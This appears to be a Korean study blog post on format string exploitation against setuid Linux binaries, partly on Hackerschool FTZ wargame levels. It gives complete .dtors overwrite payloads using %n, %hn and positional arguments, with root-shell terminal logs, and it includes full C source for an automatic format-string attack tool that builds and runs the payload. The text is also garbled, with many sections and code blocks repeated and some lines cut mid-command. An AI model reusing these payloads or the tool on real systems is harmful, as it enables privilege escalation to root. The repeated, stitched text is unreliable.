반응형
기초만 -_-; 우선 적어둠
1. 기본적인 방법.
공부한 글 : .dtors를 이용한 Format string 자동화툴 설계
먼저 egg 를 뛰워 두었다.
0xbffffac8 라는 주소에 떳다.
대상 프로그램은 다음과 같다.
setuid가 걸려 있기 떄문에,
해당 프로그램에서 공격을 시도하면 root의 권한을 획득할 수 있다. :)
문자열과 포맷문자열을 입력하여 거리를 계산해 보았다.
3개의 값을 지나고 나서, 우리가 입력한 값인 ABCD가 나오는 것을 볼 수 있다.
이제 dtors의 주소를 알아보자.
클린업 함수의 주소는 저 주소 + 4에 있음으로, 0x8049668부터 덮어 쓰면 될 것이다.
이제 사용할 코드를 구성해 보자.
printf를 이용하여 코드를 취약점이 있는 프로그램에 전달할 것이다.
(printf "";cat)|./attack
위가 먼저 기본 형태이다.
(printf "AAAA\x68\x96\x04\x08BBBB\x6A\x96\x04\x08";cat)|./attack
이제 dtors 주소를 두부분으로 나누어 구성하여 주었고,
입력했던 값이 나올때까지 3개의 다른값이 있었음으로,
(printf "AAAA\x68\x96\x04\x08BBBB\x6A\x96\x04\x08%%8x%%8x%%8x";cat)
|./attack
위와 같이 쓸데없는 값을 출력해 주도록 하였다.
이렇게 하면 총 출력되는 값은
AAAA - 4byte +
\x68\x96\x04\x08 - 4byte +
BBBB - 4byte +
\x6A\x96\x04\x08 - 4byte +
%%8x %%8x %%8x - 8byte * 3
= 16 + 24
= 40이 된다.
egg의 주소로 사용될 주소가 0xbffffac8였는데,
0x1bfff에서 0xfac8에서 뺴주면, 50487(0xC537)이 된다.
0xfac8에서는 40(0x28)을 뺴주면 되는데,
그렇게 하면 64160(0xFAA0)이 된다.
(printf "AAAA\x68\x96\x04\x08BBBB\x6A\x96\x04\x08%%8x%%8x%%8x%%64160c%%n%%50487c%%n"
1. 기본적인 방법.
공부한 글 : .dtors를 이용한 Format string 자동화툴 설계
먼저 egg 를 뛰워 두었다.
0xbffffac8 라는 주소에 떳다.
대상 프로그램은 다음과 같다.
dual5651@dualpage:/tmp$ ls -al
ÇÕ°è 28
drwxrwxrwt 4 root root 4096 2007-02-24 04:18 .
drwxr-xr-x 21 root root 4096 2007-01-24 08:37 ..
drwxrwxrwt 2 root root 4096 2007-02-24 02:41 .ICE-unix
drwxrwxrwt 2 root root 4096 2007-02-24 02:42 .X11-unix
srw-rw-rw- 1 root root 0 2007-02-24 02:42 .gdm_socket
-rwsr-sr-x 1 root root 11655 2007-02-24 04:18 attack
ÇÕ°è 28
drwxrwxrwt 4 root root 4096 2007-02-24 04:18 .
drwxr-xr-x 21 root root 4096 2007-01-24 08:37 ..
drwxrwxrwt 2 root root 4096 2007-02-24 02:41 .ICE-unix
drwxrwxrwt 2 root root 4096 2007-02-24 02:42 .X11-unix
srw-rw-rw- 1 root root 0 2007-02-24 02:42 .gdm_socket
-rwsr-sr-x 1 root root 11655 2007-02-24 04:18 attack
setuid가 걸려 있기 떄문에,
해당 프로그램에서 공격을 시도하면 root의 권한을 획득할 수 있다. :)
문자열과 포맷문자열을 입력하여 거리를 계산해 보았다.
dual5651@dualpage:/tmp$ ./attack
ABCD %x %x %x %x
ABCD 4f 4014f1c0 401558c0 44434241
dual5651@dualpage:/tmp$
ABCD %x %x %x %x
ABCD 4f 4014f1c0 401558c0 44434241
dual5651@dualpage:/tmp$
3개의 값을 지나고 나서, 우리가 입력한 값인 ABCD가 나오는 것을 볼 수 있다.
이제 dtors의 주소를 알아보자.
dual5651@dualpage:/tmp$ objdump -h ./attack | grep dtors
18 .dtors 00000008 08049664 08049664 00000664 2**2
dual5651@dualpage:/tmp$
18 .dtors 00000008 08049664 08049664 00000664 2**2
dual5651@dualpage:/tmp$
클린업 함수의 주소는 저 주소 + 4에 있음으로, 0x8049668부터 덮어 쓰면 될 것이다.
이제 사용할 코드를 구성해 보자.
printf를 이용하여 코드를 취약점이 있는 프로그램에 전달할 것이다.
(printf "";cat)|./attack
위가 먼저 기본 형태이다.
(printf "AAAA\x68\x96\x04\x08BBBB\x6A\x96\x04\x08";cat)|./attack
이제 dtors 주소를 두부분으로 나누어 구성하여 주었고,
입력했던 값이 나올때까지 3개의 다른값이 있었음으로,
(printf "AAAA\x68\x96\x04\x08BBBB\x6A\x96\x04\x08%%8x%%8x%%8x";cat)
|./attack
위와 같이 쓸데없는 값을 출력해 주도록 하였다.
이렇게 하면 총 출력되는 값은
AAAA - 4byte +
\x68\x96\x04\x08 - 4byte +
BBBB - 4byte +
\x6A\x96\x04\x08 - 4byte +
%%8x %%8x %%8x - 8byte * 3
= 16 + 24
= 40이 된다.
egg의 주소로 사용될 주소가 0xbffffac8였는데,
0x1bfff에서 0xfac8에서 뺴주면, 50487(0xC537)이 된다.
0xfac8에서는 40(0x28)을 뺴주면 되는데,
그렇게 하면 64160(0xFAA0)이 된다.
(printf "AAAA\x68\x96\x04\x08BBBB\x6A\x96\x04\x08%%8x%%8x%%8x%%64160c%%n%%50487c%%n"
;cat)|./attack
이제 dtors에 넣을값도 정해 주었고, %n도 넣어주었다.
이제 실제로 어떻게 되는지 살펴보기만 하면 된다.
먼저 공격에 성공하여 root의 uid를 획득하였다.
하지만 gid는 root가 아닌것을 볼 수 있는데,
이떄 newgrp명령어를 실행시키어 주면, root의 gid도 획득할 수 있다.
2. %hn을 이용하는 방법
%hn을 이용하면 높은 주소 먼저 값을 넣을 수 있다.
(printf "AAAA\x6A\x96\x04\x08BBBB\x68\x96\x04\x08%%8x%%8x%%8x"; cat)|./attack
주소의 앞뒤가 바뀌었다는 것을 제외하면, 기존의 방법과 동일하다.
넣는 순서가 달라졌으니, 뒷부분에 넣는 egg까지의 값계산법은 달라진다.
현재 egg의 주소는 0xbffffac8이다.
이를 두 부분으로 나우어 0xbfff 0xfac8로 나눌 수 있다.
0xbfff에서는 다음과 같은 값을 빼주면 된다.
AAAA - 4byte +
\x6A\x96\x04\x08 - 4byte +
BBBB - 4byte +
\x68\x96\x04\x08 - 4byte +
%%8x %%8x %%8x - 8byte * 3
= 16 + 24
= 40
49151(0xbfff) - 40 = 49111이 된다.
0xfac8에서는 0xbfff을 뺴주면 된다.
0xfac8 - 0xbfff = 15049(0x3AC9)이 된다.
이를 가지고 스트링을 완성하여 보면,
(printf "AAAA\x6A\x96\x04\x08BBBB\x68\x96\x04\x08%%8x%%8x%%8x%%49111c%%hn%%15049c%%hn
이제 dtors에 넣을값도 정해 주었고, %n도 넣어주었다.
이제 실제로 어떻게 되는지 살펴보기만 하면 된다.
dual5651@dualpage:/tmp$ (printf "AAAA\x68\x96\x04\x08BBBB\x6A\x96\x04\x08%%8x%%8x%%8x%%64160c%%n%%50487c%%n";cat)|./attack
~~중략~~
id -a
uid=0(root) gid=1000(dual5651) egid=0(root) groups=1000(dual5651),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev)
newgrp
id -a
uid=0(root) gid=0(root) groups=1000(dual5651),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),0(root)
~~중략~~
id -a
uid=0(root) gid=1000(dual5651) egid=0(root) groups=1000(dual5651),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev)
newgrp
id -a
uid=0(root) gid=0(root) groups=1000(dual5651),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),0(root)
먼저 공격에 성공하여 root의 uid를 획득하였다.
하지만 gid는 root가 아닌것을 볼 수 있는데,
이떄 newgrp명령어를 실행시키어 주면, root의 gid도 획득할 수 있다.
2. %hn을 이용하는 방법
%hn을 이용하면 높은 주소 먼저 값을 넣을 수 있다.
(printf "AAAA\x6A\x96\x04\x08BBBB\x68\x96\x04\x08%%8x%%8x%%8x"; cat)|./attack
주소의 앞뒤가 바뀌었다는 것을 제외하면, 기존의 방법과 동일하다.
넣는 순서가 달라졌으니, 뒷부분에 넣는 egg까지의 값계산법은 달라진다.
현재 egg의 주소는 0xbffffac8이다.
이를 두 부분으로 나우어 0xbfff 0xfac8로 나눌 수 있다.
0xbfff에서는 다음과 같은 값을 빼주면 된다.
AAAA - 4byte +
\x6A\x96\x04\x08 - 4byte +
BBBB - 4byte +
\x68\x96\x04\x08 - 4byte +
%%8x %%8x %%8x - 8byte * 3
= 16 + 24
= 40
49151(0xbfff) - 40 = 49111이 된다.
0xfac8에서는 0xbfff을 뺴주면 된다.
0xfac8 - 0xbfff = 15049(0x3AC9)이 된다.
이를 가지고 스트링을 완성하여 보면,
(printf "AAAA\x6A\x96\x04\x08BBBB\x68\x96\x04\x08%%8x%%8x%%8x%%49111c%%hn%%15049c%%hn
"; cat)|./attack
이제 실제로 어떻게 되는지 살펴 보면 된다.
3. $flag를 이용하는 방법
공부한 글 : http://x82.inetcop.org/h0me/papers/$-flag-formatstring.txt
(printf "AAAA\x68\x96\x04\x08BBBB\x6A\x96\x04\x08"; cat)|./attack
먼저 윗부분 까지는 기본방법과 동일하다.
하지만 뒷부분이 다르다.
%%4\$64184x %%5\$n %%6\$50487x %%7\$n
위와 같은 스트링을 뒷부분에 넣어주게 된다.
(현재 테스트 하는 상황은 기존과 같다.)
3번째 까지는 쓰레기값들이 들어있음으로, 4번째 부터 값을 집어넣을 주소가 존재한다.
먼저 집어넣을 값(egg의 주소)을 구성하기 위해 특정한 크기만큼 출력해 주어야 한다.
현재 egg의 주소는 0xbffffac8이다.
0xfac8에서 빼주어야 할 값은
AAAA - 4byte +
\x68\x96\x04\x08 - 4byte +
BBBB - 4byte +
\x6A\x96\x04\x08 - 4byte
= 16
그리고 pad값 1이다.
64200(0xfac8) - 16 - 1 = 64183이 된다.
앞부분은 기존과 동일하게
0x1bfff에서 0xfac8을 뺴주면 된다.
0x1bfff - 0xfac8 = 50487(0xC537)
공격에 사용될 스트링은 다음이 된다.
(printf "AAAA\x68\x96\x04\x08BBBB\x6A\x96\x04\x08%%4\$64184x%%5\$n%%6\$50487x%%7\$n"; cat)|./attack
이제 실제로 어떻게 되는지 살펴 보면 된다.
4. __dtors_end__를 execl주소로 덮어쓰는 방법
공부한 글 : http://beist.org/research/public/fedora/index.html
어떤 문서에서 이 방법이 fedora core3까지 됬다고 하는데,
잘못된 말인 듯 하다. (3가 아니라 2까지 되는 걸로 알고 있지만 확신은 못하겠다.)
(어쨰든 본인이 core3에서 테스트 해봤을떄는 $ebp+8은 0이었다.)
해커스쿨 레벨20번을 예를 들어서 사용해 보겠다.
__dtors_end__ -> 0x8049598
&execl+3 -> 0x400d16c3
0x400d - 0x16c3 = 10570(0x294a)
0x16c3 - 40 = 5787(0x169b)
이 정보를 가지고, 공격 스트링을 만들면 다음과 같다.
(printf "AAAA\x98\x95\x04\x08BBBB\x9a\x95\x04\x08%%8x%%8x%%8x%%5787c%%n%%10570c%%n";cat)|../attackme
ln -s s `perl -e 'print "\x04"'`
cat > s.c
#include <stdio.h>
int main(int argc,char *argv[])
{
system("/bin/sh");
}
5. 자동화 공격 도구를 이용하는 방법.
Null@Root 의 amadoh4ck님이 작성하신 dtors를 이용한 자동화 공격 도구를
조금 수정해 보았다. 기존의 코드는 EGG의 이름으로 AMADOH4CK를 사용하고
있었는데, 일반적으로 많이 쓰는 이름인 EGG로 수정하였고,
DTORS를 objdump를 사용하지 않고 직접 구하는 indra님의 코드를 적용하였다.
sflag의 값을 구하는 x82님의 코드를 적용하였다.
int find_sflag_poc(char *p)
{
int i;
char buf[256];
FILE *fp;
다음과 같이 사용할 수 있다.
1. EGG를 뛰운다.
2. 공격 프로그램을 사용한다.
Type 0 :
Type 1 :
6. Fedora 3,4,5,6
물론 이해는못합니다
이제 실제로 어떻게 되는지 살펴 보면 된다.
dual5651@dualpage:/tmp$ (printf "AAAA\x6A\x96\x04\x08BBBB\x68\x96\x04\x08%%8x%%8x%%8x%%49111c%%hn%%15049c%%hn"; cat)|./attack
id -a
uid=0(root) gid=1000(dual5651) egid=0(root) groups=1000(dual5651),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev)
newgrp
id -a
uid=0(root) gid=0(root) groups=1000(dual5651),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),0(root)
id -a
uid=0(root) gid=1000(dual5651) egid=0(root) groups=1000(dual5651),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev)
newgrp
id -a
uid=0(root) gid=0(root) groups=1000(dual5651),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),0(root)
3. $flag를 이용하는 방법
공부한 글 : http://x82.inetcop.org/h0me/papers/$-flag-formatstring.txt
(printf "AAAA\x68\x96\x04\x08BBBB\x6A\x96\x04\x08"; cat)|./attack
먼저 윗부분 까지는 기본방법과 동일하다.
하지만 뒷부분이 다르다.
%%4\$64184x %%5\$n %%6\$50487x %%7\$n
위와 같은 스트링을 뒷부분에 넣어주게 된다.
(현재 테스트 하는 상황은 기존과 같다.)
3번째 까지는 쓰레기값들이 들어있음으로, 4번째 부터 값을 집어넣을 주소가 존재한다.
먼저 집어넣을 값(egg의 주소)을 구성하기 위해 특정한 크기만큼 출력해 주어야 한다.
현재 egg의 주소는 0xbffffac8이다.
0xfac8에서 빼주어야 할 값은
AAAA - 4byte +
\x68\x96\x04\x08 - 4byte +
BBBB - 4byte +
\x6A\x96\x04\x08 - 4byte
= 16
그리고 pad값 1이다.
64200(0xfac8) - 16 - 1 = 64183이 된다.
앞부분은 기존과 동일하게
0x1bfff에서 0xfac8을 뺴주면 된다.
0x1bfff - 0xfac8 = 50487(0xC537)
공격에 사용될 스트링은 다음이 된다.
(printf "AAAA\x68\x96\x04\x08BBBB\x6A\x96\x04\x08%%4\$64184x%%5\$n%%6\$50487x%%7\$n"; cat)|./attack
이제 실제로 어떻게 되는지 살펴 보면 된다.
dual5651@dualpage:/tmp$ (printf "AAAA\x68\x96\x04\x08BBBB\x6A\x96\x04\x08%%4\$64184x%%5\$n%%6\$50487x%%7\$n"; cat)|./attack
id -a
uid=0(root) gid=1000(dual5651) egid=0(root) groups=1000(dual5651),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev)
newgrp
id -a
uid=0(root) gid=0(root) groups=1000(dual5651),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),0(root)
id -a
uid=0(root) gid=1000(dual5651) egid=0(root) groups=1000(dual5651),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev)
newgrp
id -a
uid=0(root) gid=0(root) groups=1000(dual5651),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),0(root)
4. __dtors_end__를 execl주소로 덮어쓰는 방법
공부한 글 : http://beist.org/research/public/fedora/index.html
어떤 문서에서 이 방법이 fedora core3까지 됬다고 하는데,
잘못된 말인 듯 하다. (3가 아니라 2까지 되는 걸로 알고 있지만 확신은 못하겠다.)
(어쨰든 본인이 core3에서 테스트 해봤을떄는 $ebp+8은 0이었다.)
해커스쿨 레벨20번을 예를 들어서 사용해 보겠다.
[level20@ftz tmp]$ ../attackme
AAAA %x %x %x %x
AAAA 4f 40157460 4009d500 41414141
[level20@ftz tmp]$ objdump -h ../attackme | grep dtors
18 .dtors 00000008 08049594 08049594 00000594 2**2
[level20@ftz tmp]$ gdb ../attackme
(gdb) b main
Breakpoint 1 at 0x80483be
(gdb) r
Starting program: /home/level20/attackme
AAAA %x %x %x %x
AAAA 4f 40157460 4009d500 41414141
[level20@ftz tmp]$ objdump -h ../attackme | grep dtors
18 .dtors 00000008 08049594 08049594 00000594 2**2
[level20@ftz tmp]$ gdb ../attackme
(gdb) b main
Breakpoint 1 at 0x80483be
(gdb) r
Starting program: /home/level20/attackme
Breakpoint 1, 0x080483be in main ()
(gdb) p execl
$1 = {<text variable, no debug info>} 0x400d16c0 <execl>
(gdb)
(gdb) p execl
$1 = {<text variable, no debug info>} 0x400d16c0 <execl>
(gdb)
__dtors_end__ -> 0x8049598
&execl+3 -> 0x400d16c3
0x400d - 0x16c3 = 10570(0x294a)
0x16c3 - 40 = 5787(0x169b)
이 정보를 가지고, 공격 스트링을 만들면 다음과 같다.
(printf "AAAA\x98\x95\x04\x08BBBB\x9a\x95\x04\x08%%8x%%8x%%8x%%5787c%%n%%10570c%%n";cat)|../attackme
ln -s s `perl -e 'print "\x04"'`
cat > s.c
#include <stdio.h>
int main(int argc,char *argv[])
{
system("/bin/sh");
}
[level20@ftz tmp]$ ls -al
합계 24
lrwxrwxrwx 1 level20 level20 1 2월 25 11:40 ? -> s
drwxrwxr-x 2 root level20 4096 2월 25 11:40 .
drwxr-xr-x 4 root level20 4096 1월 17 16:01 ..
-rwxrwxr-x 1 level20 level20 11530 2월 25 11:40 s
-rw-rw-r-- 1 level20 level20 76 2월 25 11:40 s.c
[level20@ftz tmp]$ (printf "AAAA\x98\x95\x04\x08BBBB\x9a\x95\x04\x08%%8x%%8x%%8
x%%5787c%%n%%10570c%%n";cat)|../attackme
id -a
uid=3101(clear) gid=3100(level20) groups=3100(level20)
합계 24
lrwxrwxrwx 1 level20 level20 1 2월 25 11:40 ? -> s
drwxrwxr-x 2 root level20 4096 2월 25 11:40 .
drwxr-xr-x 4 root level20 4096 1월 17 16:01 ..
-rwxrwxr-x 1 level20 level20 11530 2월 25 11:40 s
-rw-rw-r-- 1 level20 level20 76 2월 25 11:40 s.c
[level20@ftz tmp]$ (printf "AAAA\x98\x95\x04\x08BBBB\x9a\x95\x04\x08%%8x%%8x%%8
x%%5787c%%n%%10570c%%n";cat)|../attackme
id -a
uid=3101(clear) gid=3100(level20) groups=3100(level20)
5. 자동화 공격 도구를 이용하는 방법.
Null@Root 의 amadoh4ck님이 작성하신 dtors를 이용한 자동화 공격 도구를
조금 수정해 보았다. 기존의 코드는 EGG의 이름으로 AMADOH4CK를 사용하고
있었는데, 일반적으로 많이 쓰는 이름인 EGG로 수정하였고,
DTORS를 objdump를 사용하지 않고 직접 구하는 indra님의 코드를 적용하였다.
sflag의 값을 구하는 x82님의 코드를 적용하였다.
/* made by amadoh4ck in Null@Root */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <elf.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <elf.h>
int sflag=0;
int type = 0;
int type = 0;
char *GetSect(int fd, Elf32_Shdr *shdr)
{
char *str;
off_t ptr;
while((str = calloc(1, shdr->sh_size)) == NULL)
ptr = lseek(fd, 0, SEEK_CUR);
lseek(fd, shdr->sh_offset, SEEK_SET);
if(read(fd, str, shdr->sh_size) != shdr->sh_size) {
printf("[-] read error.\n");
exit(-1);
}
lseek(fd, ptr, SEEK_SET);
return str;
}
{
char *str;
off_t ptr;
while((str = calloc(1, shdr->sh_size)) == NULL)
ptr = lseek(fd, 0, SEEK_CUR);
lseek(fd, shdr->sh_offset, SEEK_SET);
if(read(fd, str, shdr->sh_size) != shdr->sh_size) {
printf("[-] read error.\n");
exit(-1);
}
lseek(fd, ptr, SEEK_SET);
return str;
}
unsigned long get_dtors(const char *filename)
{
int fd, i;
char *buf;
off_t offset;
Elf32_Ehdr ehdr;
Elf32_Shdr shdr;
//struct stat tg_st;
printf("[+] Target program : %s\n",filename);
if((fd = open(filename, O_RDONLY)) < 0) {
printf("[-] Target open error.\n");
exit(-1);
}
/* #define CHK_BIT(m,S) (((m)&S)==S)
if(CHK_BIT(tg_st.st_mode,S_ISUID) || CHK_BIT(tg_st.st_mode,S_IGUID))
{
printf("[+] SetUID or SetGID Permission.\n");
}
else
{
printf("[-] No SetUID or SetGID Permission.\n");
}*/
if((int)read(fd, &ehdr, sizeof(ehdr)) != sizeof(ehdr)) {
printf("[-]file header read error. \n");
exit(-1);
}
if(ehdr.e_type != ET_EXEC) {
printf("[-] Target is not execute file.\n");
exit(-1);
}
offset = ehdr.e_shstrndx * ehdr.e_shentsize + ehdr.e_shoff;
lseek(fd, offset, SEEK_SET);
read(fd, &shdr, sizeof(shdr));
buf = GetSect(fd, &shdr);
lseek(fd, ehdr.e_shoff, SEEK_SET);
for(i = 0; i < ehdr.e_shnum; i++) {
read(fd, &shdr, sizeof(shdr));
if(strcmp(buf + shdr.sh_name, ".dtors") == 0) {
printf("[+] .dtors section start : 0x%x\n", shdr.sh_addr);
return shdr.sh_addr;
break;
}
}
free(buf);
close(fd);
}
{
int fd, i;
char *buf;
off_t offset;
Elf32_Ehdr ehdr;
Elf32_Shdr shdr;
//struct stat tg_st;
printf("[+] Target program : %s\n",filename);
if((fd = open(filename, O_RDONLY)) < 0) {
printf("[-] Target open error.\n");
exit(-1);
}
/* #define CHK_BIT(m,S) (((m)&S)==S)
if(CHK_BIT(tg_st.st_mode,S_ISUID) || CHK_BIT(tg_st.st_mode,S_IGUID))
{
printf("[+] SetUID or SetGID Permission.\n");
}
else
{
printf("[-] No SetUID or SetGID Permission.\n");
}*/
if((int)read(fd, &ehdr, sizeof(ehdr)) != sizeof(ehdr)) {
printf("[-]file header read error. \n");
exit(-1);
}
if(ehdr.e_type != ET_EXEC) {
printf("[-] Target is not execute file.\n");
exit(-1);
}
offset = ehdr.e_shstrndx * ehdr.e_shentsize + ehdr.e_shoff;
lseek(fd, offset, SEEK_SET);
read(fd, &shdr, sizeof(shdr));
buf = GetSect(fd, &shdr);
lseek(fd, ehdr.e_shoff, SEEK_SET);
for(i = 0; i < ehdr.e_shnum; i++) {
read(fd, &shdr, sizeof(shdr));
if(strcmp(buf + shdr.sh_name, ".dtors") == 0) {
printf("[+] .dtors section start : 0x%x\n", shdr.sh_addr);
return shdr.sh_addr;
break;
}
}
free(buf);
close(fd);
}
int contain0(long value)
{
return !((value & 0x00ffffff) && (value & 0xff00ffff) &&
(value & 0xffff00ff) && (value & 0xffffff00));
}
unsigned long get_eggaddr(char **env)
{
int i;
char *tmp_ptr;
for (i=0; env[i]; i++) {
if ((tmp_ptr = strstr(env[i], "EGG="))) {
tmp_ptr += 10;
return ((unsigned long)tmp_ptr);
}
}
printf("[-] You must run it on eggshell(EGG=).\n");
exit(-1);
}
{
return !((value & 0x00ffffff) && (value & 0xff00ffff) &&
(value & 0xffff00ff) && (value & 0xffffff00));
}
unsigned long get_eggaddr(char **env)
{
int i;
char *tmp_ptr;
for (i=0; env[i]; i++) {
if ((tmp_ptr = strstr(env[i], "EGG="))) {
tmp_ptr += 10;
return ((unsigned long)tmp_ptr);
}
}
printf("[-] You must run it on eggshell(EGG=).\n");
exit(-1);
}
int find_sflag_poc(char *p)
{
int i;
char buf[256];
FILE *fp;
printf("[+] find sflag number.\n");
for(i=0;i<200;i++)
{
memset(buf,0,sizeof(buf));
if(!type)
{
sprintf(buf,"%s AAAA.%%%d\\$x",p,i);
if((fp=popen(buf,"r"))==NULL)
{
printf(" [-] %s execute error\n",p);
return -1;
}
}
else
{
sprintf(buf,"echo \"AAAA.%%%d\\$x\"|%s",i,p);
//printf("%s\n",buf);
if((fp=popen(buf,"r"))==NULL)
{
printf(" [-] %s execute error\n",p);
return -1;
}
}
memset(buf,0,sizeof(buf));
fgets(buf,sizeof(buf)-1,fp);
pclose(fp);
if(strstr(buf,"AAAA.41414141"))
{
sflag=i;
//printf(" [*] sflag: %d\n",sflag);
return 0;
}
}
return -1;
}
for(i=0;i<200;i++)
{
memset(buf,0,sizeof(buf));
if(!type)
{
sprintf(buf,"%s AAAA.%%%d\\$x",p,i);
if((fp=popen(buf,"r"))==NULL)
{
printf(" [-] %s execute error\n",p);
return -1;
}
}
else
{
sprintf(buf,"echo \"AAAA.%%%d\\$x\"|%s",i,p);
//printf("%s\n",buf);
if((fp=popen(buf,"r"))==NULL)
{
printf(" [-] %s execute error\n",p);
return -1;
}
}
memset(buf,0,sizeof(buf));
fgets(buf,sizeof(buf)-1,fp);
pclose(fp);
if(strstr(buf,"AAAA.41414141"))
{
sflag=i;
//printf(" [*] sflag: %d\n",sflag);
return 0;
}
}
return -1;
}
int main(int argc, char **argv, char **environ)
{
unsigned long dtors;
unsigned long shelladdr;
unsigned int high, low, temp;
int i, num, align=0, change=0;
char format[2048], *ptr, tmpstr[100];
printf("\n%s - Automatic FSB attacker\n\n",argv[0]);
if (argc < 3) {
printf("Usage: %s <filename> <type> [align]\n",argv[0]);
printf("Type 0 : input from argv[1]\n");
printf("Type 1 : input from gets()\n");
printf("ex1> %s ./vul 0 0\n",argv[0]);
printf("ex2> %s ./vul 1 0\n",argv[0]);
exit(0);
}
{
unsigned long dtors;
unsigned long shelladdr;
unsigned int high, low, temp;
int i, num, align=0, change=0;
char format[2048], *ptr, tmpstr[100];
printf("\n%s - Automatic FSB attacker\n\n",argv[0]);
if (argc < 3) {
printf("Usage: %s <filename> <type> [align]\n",argv[0]);
printf("Type 0 : input from argv[1]\n");
printf("Type 1 : input from gets()\n");
printf("ex1> %s ./vul 0 0\n",argv[0]);
printf("ex2> %s ./vul 1 0\n",argv[0]);
exit(0);
}
dtors = get_dtors(argv[1]) + 6;
shelladdr = get_eggaddr(environ) + 40;
if (contain0(shelladdr)) shelladdr += 4;
type = atoi(argv[2]);
if(find_sflag_poc(argv[1]) == -1)
printf("[-] get sflag error.\n");
num = sflag - 1;
//num = atoi(argv[3]);
if (argv[3]) align = atoi(argv[3]);
printf("[+] __DTORS_END__ : 0x%lx\n", dtors-2);
printf("[+] Address of EGG : 0x%lx\n", shelladdr);
printf("[+] Number of garage : %d\n", num);
printf("[+] Using alignment : %d\n", align);
high = shelladdr & 0xffff;
low = (shelladdr & 0xffff0000) >> 16;
high -= (num*8 + 16 + align);
low -= (num*8 + 16 + align);
if (high < low) {
temp = low;
low = high;
high = temp;
dtors -= 2;
change = 1;
}
ptr = format;
if (type == 0) {
snprintf(tmpstr, 100, "perl -e 'system \"%s\", \"", argv[1]);
memcpy(ptr, tmpstr, strlen(tmpstr));
ptr += strlen(tmpstr);
} else {
memcpy(ptr, "(printf \"", 9);
ptr += 9;
}
memset(ptr, '\x90', align);
ptr += align;
for (i=0; i<2; i++) {
if (contain0(dtors)) {
printf("[-] .dtors contains a zero byte. Use ret_addr\n");
exit(1);
}
memset(ptr, 'A', 4);
ptr += 4;
sprintf(ptr, "\\x%02x\\x%02x\\x%02x\\x%02x", dtors & 0xff, \
(dtors>>8)&0xff, (dtors>>16)&0xff, (dtors>>24)&0xff);
ptr += strlen(ptr);
if (change) dtors += 2;
else dtors -= 2;
}
for (i=0; i<num; i++) {
if (type == 0) {
memcpy(ptr, "%8x", 3);
ptr += 3;
} else {
memcpy(ptr, "%%8x", 4);
ptr += 4;
}
}
if (type == 0) {
sprintf(ptr, "%%%uc%%hn%%%uc%%hn\"'", low, high-low);
}
else {
sprintf(ptr, "%%%%%uc%%%%hn%%%%%uc%%%%hn\"; cat) | %s", \
low, high-low, argv[1]);
}
printf("[+] Using payload : %s\n", format);
printf("[+] Please any key to start...\n");
getchar();
system(format);
}
shelladdr = get_eggaddr(environ) + 40;
if (contain0(shelladdr)) shelladdr += 4;
type = atoi(argv[2]);
if(find_sflag_poc(argv[1]) == -1)
printf("[-] get sflag error.\n");
num = sflag - 1;
//num = atoi(argv[3]);
if (argv[3]) align = atoi(argv[3]);
printf("[+] __DTORS_END__ : 0x%lx\n", dtors-2);
printf("[+] Address of EGG : 0x%lx\n", shelladdr);
printf("[+] Number of garage : %d\n", num);
printf("[+] Using alignment : %d\n", align);
high = shelladdr & 0xffff;
low = (shelladdr & 0xffff0000) >> 16;
high -= (num*8 + 16 + align);
low -= (num*8 + 16 + align);
if (high < low) {
temp = low;
low = high;
high = temp;
dtors -= 2;
change = 1;
}
ptr = format;
if (type == 0) {
snprintf(tmpstr, 100, "perl -e 'system \"%s\", \"", argv[1]);
memcpy(ptr, tmpstr, strlen(tmpstr));
ptr += strlen(tmpstr);
} else {
memcpy(ptr, "(printf \"", 9);
ptr += 9;
}
memset(ptr, '\x90', align);
ptr += align;
for (i=0; i<2; i++) {
if (contain0(dtors)) {
printf("[-] .dtors contains a zero byte. Use ret_addr\n");
exit(1);
}
memset(ptr, 'A', 4);
ptr += 4;
sprintf(ptr, "\\x%02x\\x%02x\\x%02x\\x%02x", dtors & 0xff, \
(dtors>>8)&0xff, (dtors>>16)&0xff, (dtors>>24)&0xff);
ptr += strlen(ptr);
if (change) dtors += 2;
else dtors -= 2;
}
for (i=0; i<num; i++) {
if (type == 0) {
memcpy(ptr, "%8x", 3);
ptr += 3;
} else {
memcpy(ptr, "%%8x", 4);
ptr += 4;
}
}
if (type == 0) {
sprintf(ptr, "%%%uc%%hn%%%uc%%hn\"'", low, high-low);
}
else {
sprintf(ptr, "%%%%%uc%%%%hn%%%%%uc%%%%hn\"; cat) | %s", \
low, high-low, argv[1]);
}
printf("[+] Using payload : %s\n", format);
printf("[+] Please any key to start...\n");
getchar();
system(format);
}
다음과 같이 사용할 수 있다.
1. EGG를 뛰운다.
[level20@ftz tmp]$ ./egg
Using address: 0xbffffab8
Using address: 0xbffffab8
2. 공격 프로그램을 사용한다.
Type 0 :
[level11@ftz tmp]$ ./test ../attackme 0
./test - Automatic FSB attacker
[+] Target program : ../attackme
[+] .dtors section start : 0x804960c
[+] find sflag number.
[+] __DTORS_END__ : 0x8049610
[+] Address of EGG : 0xbffff3ed
[+] Number of garage : 3
[+] Using alignment : 0
[+] Using payload : perl -e 'system "../attackme", "AAAA\x12\x96\x04\x08AAAA\x10
\x96\x04\x08%8x%8x%8x%49111c%hn%13294c%hn"'
[+] Please any key to start...
sh-2.05b$ id -a
uid=3092(level12) gid=3091(level11) groups=3091(level11)
sh-2.05b$
[+] .dtors section start : 0x804960c
[+] find sflag number.
[+] __DTORS_END__ : 0x8049610
[+] Address of EGG : 0xbffff3ed
[+] Number of garage : 3
[+] Using alignment : 0
[+] Using payload : perl -e 'system "../attackme", "AAAA\x12\x96\x04\x08AAAA\x10
